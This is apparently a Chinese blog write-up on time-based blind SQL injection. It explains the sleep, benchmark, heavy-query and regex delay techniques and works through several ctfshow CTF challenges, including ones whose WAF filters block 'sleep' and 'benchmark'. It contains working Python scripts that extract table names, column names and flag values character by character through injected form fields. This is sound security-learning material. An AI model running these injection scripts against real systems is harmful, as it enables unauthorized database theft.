目录

  1. 1. 时间盲注
  2. 2. 基本注入
  3. 3. 二分法
  4. 4. benchmark
  5. 5. 笛卡尔积
  6. 6. 正则表达式
  7. 7. 实战
    1. 7.1. ctfshow web214
    2. 7.2. ctfshow web215
    3. 7.3. ctfshow web216
    4. 7.4. ctfshow web217
    5. 7.5. ctfshow web218
    6. 7.6. ctfshow web219
    7. 7.7. ctfshow web220

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

SQL时间盲注

2023/5/10 Web Sql
  |     |   总文章阅读量:

时间盲注

页面的显示信息是固定的,即不会出现查询的信息,也不会出现报错信息。但可以根据页面响应的时间,来判断输入的信息是否正确

通过构造的语句查看页面延迟响应时间来判断,出现延迟则说明payload匹配成功

以下是可能用到的函数

语句返回值:if

截取字符:substr、left、right、mid(等价于substr或substring)、lpad

字符编码:ascii、ord、hex

关键函数:sleep、benchmark

基本注入

构造'and if(substr(({payload}),{i},1)='{char}',sleep(3),1)#以实现对每一个字符的爆破

import requests
import string

url = "http://d0b570f5-fd29-46ec-b974-76ca2b47c435.challenge.ctf.show/api/"

result = ''

# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg'"
# 爆字段值
payload = "select f1ag from `ctfshow_flxg`"
uuid = string.ascii_lowercase + string.digits + "{-_}" #+ " "

for i in range(1, 50):
    for char in uuid:
        data = {
            'username':
            f"admin' and if(substr(({payload}),{i},1)='{char}',sleep(3),1)#",
            'password': 0
        }
        try:
            r = requests.post(url, data, timeout=0.8)
        except:
            result += char  #sleep导致超时
            print(result)
            break

    if char == '}':
        break

二分法

返回正常说明长度小于10 
and exists(select * from admin where id=1 and len(name)< 10)
返回正常说明长度大于5
and exists(select * from admin where id=1 and len(name)> 5)
返回正常说明密码第一个字符是应用('0'='48','a'='65','A‘=97)
and exists(select * from admin where id=1 and mid(password,1,1)>'a')

ctfshow web190

substr(({payload}),{i},1)匹配flag中的字符进行逐个爆破,if语句若成功返回超时,失败返回1(也就是固定回显内容)

脚本:

# @Author:Kradress
import requests

url = "http://d3bfb7a1-bd50-41bf-b31b-3b76f82f5598.challenge.ctf.show/api/"

result = ''

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'"
#爆字段值
payload = "select f1ag from `ctfshow_fl0g`"

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        # print(mid)
        data = {
            'username' : f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'password' : 0
        }
        try:
            r = requests.post(url, data, timeout=0.8)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

benchmark

重复计算表达式,可以测试某些特定操作的执行速度

BENCHMARK(count,expr)

返回值始终是0,但可以根据客户端提示的执行时间来得到BENCHMARK总共执行的所消耗的时间

SELECT BENCHMARK(10000000,ENCODE('hello','goodbye'));

image-20230802201123046

次数改成20000000

image-20230802201204829

可以发现前后执行时间不一样


笛卡尔积

这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积,这种方式执行时间会有几何倍数的提升

select if(1=1,(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.columns C),0);

image-20230802211352942


正则表达式

正侧匹配在匹配较长字符串但自由度比较高的字符串时会造成比较大的计算量,我们通过rpad或repeat构造长字符串,加以计算量大的pattern,通过控制字符串长度我们可以控制延时

SELECT if(1=1,(select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')),0)

这个测试不成功,暂时先搁置(


实战

ctfshow web214

在首页的select.js文件中找到/api/传的参数

layui.use('element', function(){
  var element = layui.element;
  element.on('tab(nav)', function(data){
    console.log(data);
  });
});

$.ajax({
      url:'api/',
      dataType:"json",
      type:'post',
      data:{
        ip:returnCitySN["cip"],
        debug:0
      }

    });

没有加限制/过滤

于是脚本如下:

import requests

url = "http://0c05c672-342e-4653-8f0e-ffbf9f49f92b.challenge.ctf.show/api/"

result = ''

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'"
# 爆字段值
payload = "select flaga from `ctfshow_flagx`"

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        # print(mid)
        data = {
            'ip' : f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'debug': 0
        }
        try:
            r = requests.post(url, data, timeout=0.8)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

ctfshow web215

单引号闭合

题目描述:用了单引号

那就在前面多加个'闭合就行

import requests

url = "http://3cd9a988-2b45-4969-b662-29f878a69217.challenge.ctf.show/api/"

result = ''

# 爆表名  
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'"
# 爆字段值
# payload = "select flagaa from `ctfshow_flagxc`"

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        # print(mid)
        data = {
            'ip' : f"'or if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'debug': 0
        }
        try:
            r = requests.post(url, data, timeout=0.8)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

ctfshow web216

函数闭合

查询语句;

where id = from_base64($id);

多了个base64的函数,那我们直接用字符串''加括号闭合就行

脚本:

import requests

url = "http://aaa51db1-130f-4270-8107-0089455a335b.challenge.ctf.show/api/"

result = ''

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcc'"
# 爆字段值
payload = "select flagaac from `ctfshow_flagxcc`"

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        # print(mid)
        data = {
            'ip' : f"'') or if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",
            'debug': 0
        }
        try:
            r = requests.post(url, data, timeout=0.8)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

ctfshow web217

sleep过滤

//屏蔽危险分子
function waf($str){
    return preg_match('/sleep/i',$str);
}   

过滤了sleep,那尝试用benchmark函数

因为给服务器发送请求要消耗时间,服务端响应也需要时间,利用benchmark函数容易产生返回字符的错误

所以我们需要在脚本中添加sleep函数以此减小误差

from time import sleep
import requests

url = "http://196fc764-8560-4084-b2ab-72061803644f.challenge.ctf.show/api/"

result = ''

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'"
# 爆字段值
payload = "select flagaabc from `ctfshow_flagxccb`"

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:
        sleep(0.8)
        mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半
        # print(mid)
        data = {
            'ip' : f"1) or benchmark(4e6*(ascii(substr(({payload}),{i},1))>{mid}),sha1('ciallo'))#",
            'debug': 0
        }
        try:
            r = requests.post(url, data, timeout=0.8)
            tail = mid 
        except:
            head = mid + 1 #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

ctfshow web218

benchmark过滤

//屏蔽危险分子
function waf($str){
    return preg_match('/sleep|benchmark/i',$str);
}   

benchmark过滤了,那就笛卡尔积

因为脚本跑起来不稳定,这里先搁置了

ctfshow web219

ctfshow web220